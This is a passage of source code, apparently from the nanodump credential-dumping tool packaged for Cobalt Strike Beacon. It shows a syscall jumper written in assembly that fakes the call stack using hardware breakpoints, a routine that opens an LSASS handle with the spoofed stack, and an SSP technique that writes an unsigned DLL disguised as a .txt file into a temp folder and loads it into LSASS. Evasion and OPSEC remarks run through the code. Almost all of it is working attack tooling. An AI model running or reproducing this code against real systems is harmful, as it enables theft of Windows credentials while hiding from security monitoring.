(callstack)\n        intFree(callstack);\n\n    return ret_val;\n}\n\n/*\n * This function is responsible for:\n * 1) create the backup of the stack\n * 2) copy over the fake stack\n * 3) save all the information required by the handler\n * 4) set all the parameters\n * 5) set RSP and RBP to the fake callstack\n * 6) set the syscall number\n * 7) jump to the syscall address\n */\n\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) ULONG_PTR jumper(\n    PVOID syscall_data)\n{\n    __asm {\n        // ecx: syscall_data\n        mov ecx, [esp+0x04]\n        // backup the full stack\n        xor eax, eax\n        // edx: full_stack_size\n        mov edx, [ecx+0x04]\n        // edi: full_stack_backup_addr\n        mov edi, [ecx+0x08]\n        // esi: full_stack_base\n        mov esi, [ecx]\n        bkp_stack_loop:\n        mov bl, [esi+eax]\n        mov [edi+eax], bl\n        inc eax\n        cmp eax, edx\n        jne bkp_stack_loop\n        // copy the fake stack\n        xor eax, eax\n        // esi: fake_stack_heap_addr\n        mov esi, [ecx+0x0c]\n        // edi: fake_stack_target_addr\n        mov edi, [ecx+0x14]\n        // edx: fake_stack_size\n        mov edx, [ecx+0x10]\n        cpy_fake_stack_loop:\n        mov bl, [esi+eax]\n        mov [edi+eax], bl\n        inc eax\n        cmp eax, edx\n        jne cpy_fake_stack_loop\n        // save full_stack_size, full_stack_backup_addr, full_stack_base,\n        // EBX, EBP, ESP and EIP in the storing_area\n        // eax: canary_addr\n        mov eax, [ecx+0x20]\n        // eax: storing_area\n        mov eax, [eax+0x04]\n        // full_stack_size\n        mov edx, [ecx+0x04]\n        mov [eax+0x00], edx\n        // full_stack_backup_addr\n        mov edx, [ecx+0x08]\n        mov [eax+0x04], edx\n        // full_stack_base\n        mov edx, [ecx]\n        mov [eax+0x08], edx\n        // RBX\n        mov [eax+0x0c], ebx\n        // RBP\n        mov [eax+0x10], ebp\n        // RSP\n        pop edx\n        mov [eax+0x14], esp\n        // RIP\n        mov [eax+0x18], edx\n        // set the parameters\n        // eax: num_params\n        mov eax, [ecx+0x34]\n        // ebp: fake_stack_rsp\n        mov ebp, [ecx+0x18]\n        // edx: is_api_call\n        mov edx, [ecx+0x2c]\n        cmp edx, 0x0\n        jne stack_params_loop\n        // syscalls in x86 have a different stack layout\n        // 1) address of the 'ret' instruction next to the sysenter\n        // 2) the actual return address\n        // 3) parameters\n        // save the real return address in the second position\n        // edx: ret addr\n        mov edx, [ebp]\n        mov [ebp+0x4], edx\n        // save the address of the 'ret' instruction in the first position\n        // edx: syscall address\n        mov edx, [ecx+0x24]\n        // edx: address of the 'ret' instruction\n        add edx, 0x2\n        mov [ebp], edx\n        // save the parameters on the third and not second position\n        add ebp, 0x4\n        // edx: is_wow64\n        mov edx, [ecx+0x30]\n        cmp edx, 0x0\n        je stack_params_loop\n        // syscalls in WoW64 have a different stack layout\n        // 1) the actual return address\n        // 2) 0x4 bytes of space\n        // 3) parameters\n        mov edx, [ebp]\n        mov [ebp-0x4], edx\n        stack_params_loop:\n        cmp eax, 0x1\n        jl params_ready\n        mov ebx, [ecx+0x34+eax*0x4]\n        mov [ebp+eax*0x4], ebx\n        dec eax\n        jmp stack_params_loop\n        params_ready:\n        // set the RSP\n        mov esp, [ecx+0x18]\n        // set the RBP\n        mov ebp, [ecx+0x1c]\n        // set the syscall number\n        mov eax, [ecx+0x28]\n        // ebx: syscall_addr\n        mov ebx, [ecx+0x24]\n        // edx must to be equal to esp for some reason\n        mov edx, esp\n        // jump to the syscall address :^)\n        jmp ebx\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) ULONG_PTR jumper(\n    PVOID syscall_data)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        // save the return address\n        \"pop r11 \\n\"\n        // backup the full stack\n        \"xor rax, rax \\n\"\n        // rdx: full_stack_size\n        \"mov rdx, [rcx+0x08] \\n\"\n        // r8: full_stack_backup_addr\n        \"mov r8, [rcx+0x10] \\n\"\n        // r9: full_stack_base\n        \"mov r9, [rcx] \\n\"\n        \"bkp_stack_loop: \\n\"\n        \"mov r10b, [r9+rax] \\n\"\n        \"mov [r8+rax], r10b \\n\"\n        \"inc rax \\n\"\n        \"cmp rax, rdx \\n\"\n        \"jne bkp_stack_loop \\n\"\n        // copy the fake stack\n        \"xor rax, rax \\n\"\n        // r8: fake_stack_heap_addr\n        \"mov r8, [rcx+0x18] \\n\"\n        // r9: fake_stack_target_addr\n        \"mov r9, [rcx+0x28] \\n\"\n        // rdx: fake_stack_size\n        \"mov rdx, [rcx+0x20] \\n \"\n        \"cpy_fake_stack_loop: \\n\"\n        \"mov r10b, [r8+rax] \\n\"\n        \"mov [r9+rax], r10b \\n\"\n        \"inc rax \\n\"\n        \"cmp rax, rdx \\n\"\n        \"jne cpy_fake_stack_loop \\n\"\n        // save full_stack_size, full_stack_backup_addr, full_stack_base,\n        // RBX, RBP, RSP and RIP after the canary\n        // rax: canary_addr\n        \"mov rax, [rcx+0x40] \\n\"\n        // rax: storing_area\n        \"mov rax, [rax+0x08] \\n\"\n        // full_stack_size\n        \"mov rdx, [rcx+0x08] \\n\"\n        \"mov [rax+0x00], rdx \\n\"\n        // full_stack_backup_addr\n        \"mov rdx, [rcx+0x10] \\n\"\n        \"mov [rax+0x08], rdx \\n\"\n        // full_stack_base\n        \"mov rdx, [rcx] \\n\"\n        \"mov [rax+0x10], rdx \\n\"\n        // RBX\n        \"mov [rax+0x18], rbx \\n\"\n        // RBP\n        \"mov [rax+0x20], rbp \\n\"\n        // RSP\n        \"mov [rax+0x28], rsp \\n\"\n        // RIP\n        \"mov [rax+0x30], r11 \\n\"\n        // set the parameters\n        // are there more than 0 params?\n        \"xor rax, rax \\n\"\n        // eax: num_params\n        \"mov eax, [rcx+0x5c] \\n\"\n        // r10: syscall_data\n        \"mov r10, rcx \\n\"\n        \"cmp eax, 0x1 \\n\"\n        \"jl params_ready \\n\"\n        // set parameter 1\n        \"mov rcx, [r10+0x60] \\n\"\n        // is there more than 1 param?\n        \"cmp eax, 0x2 \\n\"\n        \"jl params_ready \\n\"\n        // set parameter 2\n        \"mov rdx, [r10+0x68] \\n\"\n        // are there more than 2 params?\n        \"cmp eax, 0x3 \\n\"\n        \"jl params_ready \\n\"\n        // set parameter 3\n        \"mov r8, [r10+0x70] \\n\"\n        // are there more than 3 params?\n        \"cmp eax, 0x4 \\n\"\n        \"jl params_ready \\n\"\n        // set parameter 4\n        \"mov r9, [r10+0x78] \\n\"\n        // set the rest of the parameters\n        \"sub eax, 0x4 \\n\"\n        // rbp: fake_stack_rsp\n        \"mov rbp, [r10+0x30] \\n\"\n        \"stack_params_loop: \\n\"\n        \"cmp eax, 0x1 \\n\"\n        \"jl params_ready \\n\"\n        \"mov rbx, [r10+0x78+rax*0x8] \\n\"\n        \"mov [rbp+0x20+rax*0x8], rbx \\n\"\n        \"dec rax \\n\"\n        \"jmp stack_params_loop \\n\"\n        \"params_ready: \\n\"\n        // set the RSP\n        \"mov rsp, [r10+0x30] \\n\"\n        // set the RBP\n        \"mov rbp, [r10+0x38] \\n\"\n        // set the syscall number\n        \"mov eax, [r10+0x50] \\n\"\n        // r11: syscall_addr\n        \"mov r11, [r10+0x48] \\n\"\n        // r10 must be equal to rcx for some reason\n        \"mov r10, rcx \\n\"\n        // jump to the syscall address :^)\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        // ecx: syscall_data\n        \"mov ecx, [esp+0x04] \\n\"\n        // backup the full stack\n        \"xor eax, eax \\n\"\n        // edx: full_stack_size\n        \"mov edx, [ecx+0x04] \\n\"\n        // edi: full_stack_backup_addr\n        \"mov edi, [ecx+0x08] \\n\"\n        // esi: full_stack_base\n        \"mov esi, [ecx] \\n\"\n        \"bkp_stack_loop: \\n\"\n        \"mov bl, [esi+eax] \\n\"\n        \"mov [edi+eax], bl \\n\"\n        \"inc eax \\n\"\n        \"cmp eax, edx \\n\"\n        \"jne bkp_stack_loop \\n\"\n        // copy the fake stack\n        \"xor eax, eax \\n\"\n        // esi: fake_stack_heap_addr\n        \"mov esi, [ecx+0x0c] \\n\"\n        // edi: fake_stack_target_addr\n        \"mov edi, [ecx+0x14] \\n\"\n        // edx: fake_stack_size\n        \"mov edx, [ecx+0x10] \\n \"\n        \"cpy_fake_stack_loop: \\n\"\n        \"mov bl, [esi+eax] \\n\"\n        \"mov [edi+eax], bl \\n\"\n        \"inc eax \\n\"\n        \"cmp eax, edx \\n\"\n        \"jne cpy_fake_stack_loop \\n\"\n        // save full_stack_size, full_stack_backup_addr, full_stack_base,\n        // EBX, EBP, ESP and EIP in the storing_area\n        // eax: canary_addr\n        \"mov eax, [ecx+0x20] \\n\"\n        // eax: storing_area\n        \"mov eax, [eax+0x04] \\n\"\n        // full_stack_size\n        \"mov edx, [ecx+0x04] \\n\"\n        \"mov [eax+0x00], edx \\n\"\n        // full_stack_backup_addr\n        \"mov edx, [ecx+0x08] \\n\"\n        \"mov [eax+0x04], edx \\n\"\n        // full_stack_base\n        \"mov edx, [ecx] \\n\"\n        \"mov [eax+0x08], edx \\n\"\n        // RBX\n        \"mov [eax+0x0c], ebx \\n\"\n        // RBP\n        \"mov [eax+0x10], ebp \\n\"\n        // RSP\n        \"pop edx \\n\"\n        \"mov [eax+0x14], esp \\n\"\n        // RIP\n        \"mov [eax+0x18], edx \\n\"\n        // set the parameters\n        // eax: num_params\n        \"mov eax, [ecx+0x34] \\n\"\n        // ebp: fake_stack_rsp\n        \"mov ebp, [ecx+0x18] \\n\"\n        // edx: is_api_call\n        \"mov edx, [ecx+0x2c] \\n\"\n        \"cmp edx, 0x0 \\n\"\n        \"jne stack_params_loop \\n\"\n        // syscalls in x86 have a different stack layout\n        // 1) address of the 'ret' instruction next to the sysenter\n        // 2) the actual return address\n        // 3) parameters\n        // save the real return address in the second position\n        // edx: ret addr\n        \"mov edx, [ebp] \\n\"\n        \"mov [ebp+0x4], edx \\n\"\n        // save the address of the 'ret' instruction in the first position\n        // edx: syscall address\n        \"mov edx, [ecx+0x24] \\n\"\n        // edx: address of the 'ret' instruction\n        \"add edx, 0x2 \\n\"\n        \"mov [ebp], edx \\n\"\n        // save the parameters on the third and not second position\n        \"add ebp, 0x4 \\n\"\n        // edx: is_wow64\n        \"mov edx, [ecx+0x30] \\n\"\n        \"cmp edx, 0x0 \\n\"\n        \"je stack_params_loop \\n\"\n        // syscalls in WoW64 have a different stack layout\n        // 1) the actual return address\n        // 2) 0x4 bytes of space\n        // 3) parameters\n        \"mov edx, [ebp] \\n\"\n        \"mov [ebp-0x4], edx \\n\"\n        \"stack_params_loop: \\n\"\n        \"cmp eax, 0x1 \\n\"\n        \"jl params_ready \\n\"\n        \"mov ebx, [ecx+0x34+eax*0x4] \\n\"\n        \"mov [ebp+eax*0x4], ebx \\n\"\n        \"dec eax \\n\"\n        \"jmp stack_params_loop \\n\"\n        \"params_ready: \\n\"\n        // set the RSP\n        \"mov esp, [ecx+0x18] \\n\"\n        // set the RBP\n        \"mov ebp, [ecx+0x1c] \\n\"\n        // set the syscall number\n        \"mov eax, [ecx+0x28] \\n\"\n        // ebx: syscall_addr\n        \"mov ebx, [ecx+0x24] \\n\"\n        // edx must to be equal to esp for some reason\n        \"mov edx, esp \\n\"\n        // jump to the syscall address :^)\n        \"jmp ebx \\n\"\n    );\n#endif\n}\n\n#endif\n\n/*\n * This function is responsible for:\n * 1) get the address and number of the syscall\n * 2) create fake call stack\n * 3) set the hardware breakpoint\n * 4) call the jumper\n * 5) unset the hardware breakpoint\n */\nNTSTATUS trigger_syscall(\n    IN ULONG32 syscall_hash,\n    IN ULONG32 num_params,\n    ...)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    STACK_INFO stack_info = { 0 };\n    PVOID syscall_addr = NULL;\n    PVOID ret_addr = NULL;\n    ULONG32 syscall_number = 0;\n    HANDLE hHwBpHandler = NULL;\n    BOOL success = FALSE;\n    PSYSCALL_DATA syscall_data = NULL;\n    va_list valist;\n\n    va_start(valist, num_params);\n\n    // get the syscall address\n    syscall_addr = SW3_GetSyscallAddress(syscall_hash);\n    if (!syscall_addr)\n        goto cleanup;\n\n    // get the syscall number\n    syscall_number = SW2_GetSyscallNumber(syscall_hash);\n    if (!syscall_number)\n        goto cleanup;\n\n    // create the fake callstack\n    success = create_fake_callstack(&stack_info, syscall_hash);\n    if (!success)\n        goto cleanup;\n    DPRINT(\"created the fake callstack\");\n\n    // get the first ret address in the fake callstack\n    ret_addr = stack_info.first_ret_addr;\n    if (!ret_addr)\n    {\n        // if there is none, use the 'ret' instruction after the syscall\n        ret_addr = SW2_RVA2VA(PVOID, syscall_addr, 2);\n    }\n\n    // set the hardware breakpoint at the ret addr\n    success = set_hwbp(ret_addr, &hHwBpHandler);\n    if (!success)\n        goto cleanup;\n    DPRINT(\"hardware breakpoint set at 0x%p\", ret_addr);\n\n    // because the syscall data is on the heap,\n    // overwriting the stack won't affect it\n    syscall_data = intAlloc(sizeof(SYSCALL_DATA));\n    if (!syscall_data)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    syscall_data->full_stack_base = stack_info.full_stack_base;\n    syscall_data->full_stack_size = stack_info.full_stack_size;\n    syscall_data->full_stack_backup_addr = stack_info.full_stack_backup_addr;\n    syscall_data->fake_stack_heap_addr = stack_info.fake_stack_heap_addr;\n    syscall_data->fake_stack_size = stack_info.fake_stack_size;\n    syscall_data->fake_stack_target_addr = stack_info.fake_stack_target_addr;\n    syscall_data->fake_stack_rsp = stack_info.fake_stack_rsp;\n    syscall_data->fake_stack_rbp = stack_info.fake_stack_rbp;\n    syscall_data->canary_addr = stack_info.canary_addr;\n    syscall_data->is_api_call = FALSE;\n    syscall_data->is_wow64 = local_is_wow64();\n    syscall_data->syscall_addr = syscall_addr;\n    syscall_data->syscall_number = syscall_number;\n    syscall_data->num_params = num_params;\n    for (int i = 0; i < num_params; ++i)\n    {\n        syscall_data->params[i] = va_arg(valist, ULONG_PTR);\n    }\n\n    DPRINT(\"triggering the syscall...\");\n    status = (NTSTATUS)jumper(syscall_data);\n    DPRINT(\"done.\");\n\ncleanup:\n    if (syscall_data)\n        intFree(syscall_data);\n    if (stack_info.full_stack_backup_addr)\n        intFree(stack_info.full_stack_backup_addr);\n    if (stack_info.fake_stack_heap_addr)\n        intFree(stack_info.fake_stack_heap_addr);\n    if (stack_info.storing_area)\n        intFree(stack_info.storing_area);\n    if (hHwBpHandler)\n        unset_hwbp(hHwBpHandler);\n    va_end(valist);\n\n    return status;\n}\n\nHANDLE open_handle_with_spoofed_callstack(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes)\n{\n    NTSTATUS status   = STATUS_UNSUCCESSFUL;\n    HANDLE   hProcess = NULL;\n\n    // variables passed by reference must be stored on the heap\n    PHANDLE            HProcessHandle    = intAlloc(sizeof(HANDLE));\n    POBJECT_ATTRIBUTES HObjectAttributes = intAlloc(sizeof(OBJECT_ATTRIBUTES));\n    CLIENT_ID*         HClientId         = intAlloc(sizeof(CLIENT_ID));\n\n    if (!HProcessHandle || !HObjectAttributes || !HClientId)\n    {\n        malloc_failed();\n        return NULL;\n    }\n\n    *HProcessHandle = NULL;\n\n    InitializeObjectAttributes(HObjectAttributes, NULL, attributes, NULL, NULL);\n\n    HClientId->UniqueProcess = (HANDLE)(ULONG_PTR)lsass_pid;\n    HClientId->UniqueThread = 0;\n\n    status = trigger_syscall(\n        NtOpenProcess_SW2_HASH,\n        4,\n        HProcessHandle,\n        permissions,\n        HObjectAttributes,\n        HClientId);\n\n    hProcess = *HProcessHandle;\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenProcess\", status);\n        hProcess = NULL;\n    }\n\n    DATA_FREE(HProcessHandle,    sizeof(HANDLE));\n    DATA_FREE(HObjectAttributes, sizeof(OBJECT_ATTRIBUTES));\n    DATA_FREE(HClientId,         sizeof(CLIENT_ID));\n\n    return hProcess;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ssp/ssp.c",
    "content": "#include \"ssp/ssp.h\"\n#include \"ssp/ssp_utils.h\"\n\nDWORD WINAPI load_ssp(LPVOID Parameter)\n{\n    LPSTR ssp_path = (LPSTR)Parameter;\n    AddSecurityPackageW_t AddSecurityPackageW;\n    wchar_t ssp_path_w[MAX_PATH];\n\n    if (!is_full_path(ssp_path))\n    {\n        PRINT_ERR(\"You must provide a full path: %s\", ssp_path);\n        return 1;\n    }\n    // find the address of AddSecurityPackageW dynamically\n    AddSecurityPackageW = (AddSecurityPackageW_t)(ULONG_PTR)get_function_address(\n        get_library_address(SSPICLI_DLL, TRUE),\n        AddSecurityPackageW_SW2_HASH,\n        0);\n    if (!AddSecurityPackageW)\n    {\n        api_not_found(\"AddSecurityPackageW\");\n        return 1;\n    }\n\n    mbstowcs(ssp_path_w, ssp_path, MAX_PATH);\n\n    //DPRINT(\"Loading %s into \" LSASS, ssp_path);\n\n    SECURITY_PACKAGE_OPTIONS spo = {0};\n    NTSTATUS status = AddSecurityPackageW(ssp_path_w, &spo);\n\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || PASS_PARAMS_VIA_NAMED_PIPES == 0\n    if (status == SEC_E_SECPKG_NOT_FOUND)\n    {\n        PRINT(\"Done, status: SEC_E_SECPKG_NOT_FOUND, this is normal if DllMain returns FALSE\");\n        return 0;\n    }\n    else\n    {\n        PRINT(\"Done, status: 0x%lx\", status);\n        return 1;\n    }\n#else\n{\n    if (status == SEC_E_SECPKG_NOT_FOUND)\n    {\n        return 0;\n    }\n    else\n    {\n        return 1;\n    }\n}\n#endif\n}\n\nBOOL write_dll(\n    IN unsigned char nanodump_ssp_dll[],\n    IN unsigned int nanodump_ssp_dll_len,\n    IN LPSTR write_dll_path,\n    IN LPSTR load_path,\n    OUT LPSTR* random_dll_path)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    // if the user did not specify a pre-existing DLL, write our own\n    if (!load_path)\n    {\n        // fair OPSEC warning\n        PRINT_ERR(\"[!] Writing an unsigned DLL to disk\");\n\n        if (!write_dll_path)\n        {\n            success = generate_random_dll_path(random_dll_path);\n            if (!success)\n                goto cleanup;\n\n            write_dll_path = *random_dll_path;\n\n            DPRINT(\"generated random dll path: %s\", write_dll_path);\n        }\n\n        success = write_ssp_dll(\n            write_dll_path,\n            nanodump_ssp_dll,\n            nanodump_ssp_dll_len);\n        if (!success)\n            goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nVOID run_technique(\n    IN unsigned char nanodump_ssp_dll[],\n    IN unsigned int nanodump_ssp_dll_len,\n    IN LPSTR write_dll_path,\n    IN LPSTR load_path,\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig)\n{\n    BOOL   success         = FALSE;\n    LPSTR  random_dll_path = NULL;\n    LPSTR  final_path      = NULL;\n    BOOL   dump_worked     = FALSE;\n    HANDLE hThread         = NULL;\n    DWORD  dwThreadId      = 0;\n\n    CreateThread_t CreateThread = NULL;\n\n    // first of all, write the SSP DLL in the filesystem\n\n    success = write_dll(\n        nanodump_ssp_dll,\n        nanodump_ssp_dll_len,\n        write_dll_path,\n        load_path,\n        &random_dll_path);\n    if (!success)\n        goto cleanup;\n\n    if (write_dll_path)\n        final_path = write_dll_path;\n    else if (load_path)\n        final_path = load_path;\n    else\n        final_path = random_dll_path;\n\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || PASS_PARAMS_VIA_NAMED_PIPES == 0\n    // if we are not going to pass parameters to the DLL, simply load it and exit\n    load_ssp(final_path);\n#else\n    // we are going to pass parametesr to the DLL, so we will load it on a separate thread and\n    // pass the parameters via a named pipe\n\n\n    CreateThread = (CreateThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateThread_SW2_HASH,\n        0);\n    if (!CreateThread)\n    {\n        api_not_found(\"CreateThread\");\n        goto cleanup;\n    }\n\n    // load the SSP library in a thread because it will lock otherwise\n    hThread = CreateThread(NULL, 0, load_ssp, final_path, 0, &dwThreadId);\n\n    success = send_parameters_and_get_result(\n        dump_path,\n        use_valid_sig,\n        &dump_worked);\n    if (!success)\n        goto cleanup;\n\n    if (dump_worked)\n    {\n        print_success(\n            dump_path,\n            use_valid_sig,\n            TRUE);\n    }\n    else\n    {\n        PRINT_ERR(\"The dump was not created\");\n    }\n#endif\n\ncleanup:\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n    if (hThread)\n        NtClose(hThread);\n#endif\n    if (write_dll_path)\n        delete_file(write_dll_path);\n    if (random_dll_path)\n    {\n        delete_file(random_dll_path);\n        intFree(random_dll_path);\n    }\n}\n\n#if defined(BOF)\n\n#include \"ssp_utils.c\"\n#include \"../utils.c\"\n#include \"../syscalls.c\"\n#include \"../dinvoke.c\"\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n#include \"../pipe.c\"\n#endif\n\nvoid go(char* args, int length)\n{\n    datap          parser               = { 0 };\n    unsigned char* nanodump_ssp_dll     = NULL;\n    int            nanodump_ssp_dll_len = 0;\n    LPSTR          write_dll_path       = NULL;\n    LPSTR          load_path            = NULL;\n    LPSTR          dump_path            = NULL;\n    BOOL           use_valid_sig        = FALSE;\n\n    BeaconDataParse(&parser, args, length);\n    nanodump_ssp_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ssp_dll_len);\n    write_dll_path = BeaconDataExtract(&parser, NULL);\n    load_path = BeaconDataExtract(&parser, NULL);\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n    /*\n     * only parse parameters if PASS_PARAMS_VIA_NAMED_PIPES is enabled\n     * if not, the hardcoded options in NanoDumpSSP will be used\n     */\n    dump_path = BeaconDataExtract(&parser, NULL);\n    use_valid_sig = (BOOL)BeaconDataInt(&parser);\n#endif\n\n    if (!write_dll_path[0])\n        write_dll_path = NULL;\n    if (!load_path[0])\n        load_path = NULL;\n\n    run_technique(\n        nanodump_ssp_dll,\n        nanodump_ssp_dll_len,\n        write_dll_path,\n        load_path,\n        dump_path,\n        use_valid_sig);\n}\n\n#endif\n\n#if defined(EXE)\n\n#ifdef _WIN64\n #include \"nanodump_ssp_dll.x64.h\"\n#else\n #include \"nanodump_ssp_dll.x86.h\"\n#endif\n\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n\nvoid usage(char* procname)\n{\n    PRINT(\"usage: %s --write C:\\\\Windows\\\\Temp\\\\doc.docx [--valid] [--write-dll C:\\\\Windows\\\\Temp\\\\ssp.dll] [--load-dll C:\\\\Windows\\\\Temp\\\\ssp.dll] [--help]\", procname);\n    PRINT(\"Dumpfile options:\");\n    PRINT(\"    --write DUMP_PATH, -w DUMP_PATH\");\n    PRINT(\"            filename of the dump\");\n    PRINT(\"    --valid, -v\");\n    PRINT(\"            create a dump with a valid signature\");\n    PRINT(\"SSP DLL options:\");\n    PRINT(\"    --write-dll, -wdll\");\n    PRINT(\"            path where to write the SSP DLL from nanodump (randomly generated if not defined)\");\n    PRINT(\"    --load-dll, -ldll\");\n    PRINT(\"            load an existing SSP DLL\");\n    PRINT(\"Help:\");\n    PRINT(\"    --help, -h\");\n    PRINT(\"            print this help message and leave\");\n}\n\nint main(int argc, char* argv[])\n{\n    LPSTR dump_path        = NULL;\n    BOOL  use_valid_sig    = FALSE;\n    LPSTR write_dll_path   = NULL;\n    LPSTR load_path        = NULL;\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!strncmp(argv[i], \"-v\", 3) ||\n            !strncmp(argv[i], \"--valid\", 8))\n        {\n            use_valid_sig = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-w\", 3) ||\n                 !strncmp(argv[i], \"--write\", 8))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write value\");\n                return 0;\n            }\n            dump_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-wdll\", 6) ||\n                 !strncmp(argv[i], \"--write-dll\", 12))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write-dll value\");\n                return 0;\n            }\n            write_dll_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-ldll\", 6) ||\n                 !strncmp(argv[i], \"--load-dll\", 11))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --load value\");\n                return 0;\n            }\n            load_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-h\", 3) ||\n                 !strncmp(argv[i], \"--help\", 7))\n        {\n            usage(argv[0]);\n            return 0;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            return 0;\n        }\n    }\n\n    if (!dump_path)\n    {\n        PRINT(\"You need to provide the --write parameter\");\n        return 0;\n    }\n\n    if (!is_full_path(dump_path))\n    {\n        PRINT(\"You need to provide the full path: %s\", dump_path);\n        return 0;\n    }\n\n    if (load_path && write_dll_path)\n    {\n        PRINT(\"The options --write-dll and --load-dll cannot be used together\");\n        return 0;\n    }\n\n    run_technique(\n        nanodump_ssp_dll,\n        nanodump_ssp_dll_len,\n        write_dll_path,\n        load_path,\n        dump_path,\n        use_valid_sig);\n\n    return 0;\n}\n\n#else // #if PASS_PARAMS_VIA_NAMED_PIPES == 1\n\nvoid usage(char* procname)\n{\n    PRINT(\"usage: %s [--write-dll C:\\\\Windows\\\\Temp\\\\ssp.dll] [--load-dll C:\\\\Windows\\\\Temp\\\\ssp.dll] [--help]\", procname);\n    PRINT(\"SSP DLL options:\");\n    PRINT(\"    --write-dll, -wdll\");\n    PRINT(\"            path where to write the SSP DLL from nanodump (randomly generated if not defined)\");\n    PRINT(\"    --load-dll, -ldll\");\n    PRINT(\"            load an existing SSP DLL\");\n    PRINT(\"Help:\");\n    PRINT(\"    --help, -h\");\n    PRINT(\"            print this help message and leave\");\n}\n\nint main(int argc, char* argv[])\n{\n    LPSTR write_dll_path   = NULL;\n    LPSTR load_path        = NULL;\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!strncmp(argv[i], \"-wdll\", 6) ||\n                 !strncmp(argv[i], \"--write-dll\", 12))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write-dll value\");\n                return 0;\n            }\n            write_dll_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-ldll\", 6) ||\n                 !strncmp(argv[i], \"--load-dll\", 11))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --load value\");\n                return 0;\n            }\n            load_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-h\", 3) ||\n                 !strncmp(argv[i], \"--help\", 7))\n        {\n            usage(argv[0]);\n            return 0;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            return 0;\n        }\n    }\n\n    if (load_path && write_dll_path)\n    {\n        PRINT(\"The options --write-dll and --load-dll cannot be used together\");\n        return 0;\n    }\n\n    run_technique(\n        nanodump_ssp_dll,\n        nanodump_ssp_dll_len,\n        write_dll_path,\n        load_path,\n        NULL,\n        FALSE);\n\n    return 0;\n}\n\n#endif // #if PASS_PARAMS_VIA_NAMED_PIPES == 1\n\n#endif // defined(EXE)\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ssp/ssp_utils.c",
    "content": "#include \"ssp/ssp_utils.h\"\n#include \"utils.h\"\n#include \"pipe.h\"\n\nBOOL generate_random_dll_path(\n    OUT LPSTR* random_path)\n{\n    BOOL    ret_val   = FALSE;\n    LPSTR   rand_path = NULL;\n    ULONG32 rand_num  = 0;\n    CHAR    c         = 0;\n\n    // intializes the random number generator\n    time_t t;\n    srand((unsigned) time(&t));\n\n    rand_path = intAlloc(MAX_PATH + 1);\n    if (!rand_path)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    strncpy(rand_path, \"C:\\\\Windows\\\\Temp\\\\\", MAX_PATH);\n\n    for (int i = 0; i < DLL_NAME_LENGTH; ++i)\n    {\n        rand_num = rand() % 52;\n        if (rand_num < 26)\n            c = 97 + rand_num;\n        else\n            c = 65 - 26 + rand_num;\n        rand_path[16 + i] = c;\n    }\n\n    // the extension does not need to be '.dll'\n    strncat(rand_path, \".txt\", MAX_PATH);\n\n    *random_path = rand_path;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val && rand_path)\n        intFree(rand_path);\n    if (!ret_val)\n        *random_path = NULL;\n\n    return ret_val;\n}\n\nBOOL write_ssp_dll(\n    IN LPSTR ssp_dll_path,\n    IN unsigned char nanodump_ssp_dll[],\n    IN unsigned int nanodump_ssp_dll_len)\n{\n    BOOL           ret_val              = FALSE;\n    BOOL           success              = FALSE;\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING file_path            = { 0 };\n\n    file_path.Buffer        = wcFilePath;\n    file_path.Length        = 0;\n    file_path.MaximumLength = 0;\n\n    get_full_path(&file_path, ssp_dll_path);\n\n    success = write_file(\n        &file_path,\n        nanodump_ssp_dll,\n        nanodump_ssp_dll_len);\n    if (!success)\n    {\n        PRINT_ERR(\"Failed to write the DLL to %s\", ssp_dll_path);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n\nBOOL send_parameters_and_get_result(\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    OUT PBOOL dump_worked)\n{\n    BOOL   ret_val = FALSE;\n    BOOL   success = FALSE;\n    HANDLE hPipe   = NULL;\n\n    Sleep_t Sleep = NULL;\n\n    Sleep = (Sleep_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        Sleep_SW2_HASH,\n        0);\n    if (!Sleep)\n    {\n        api_not_found(\"Sleep\");\n        goto 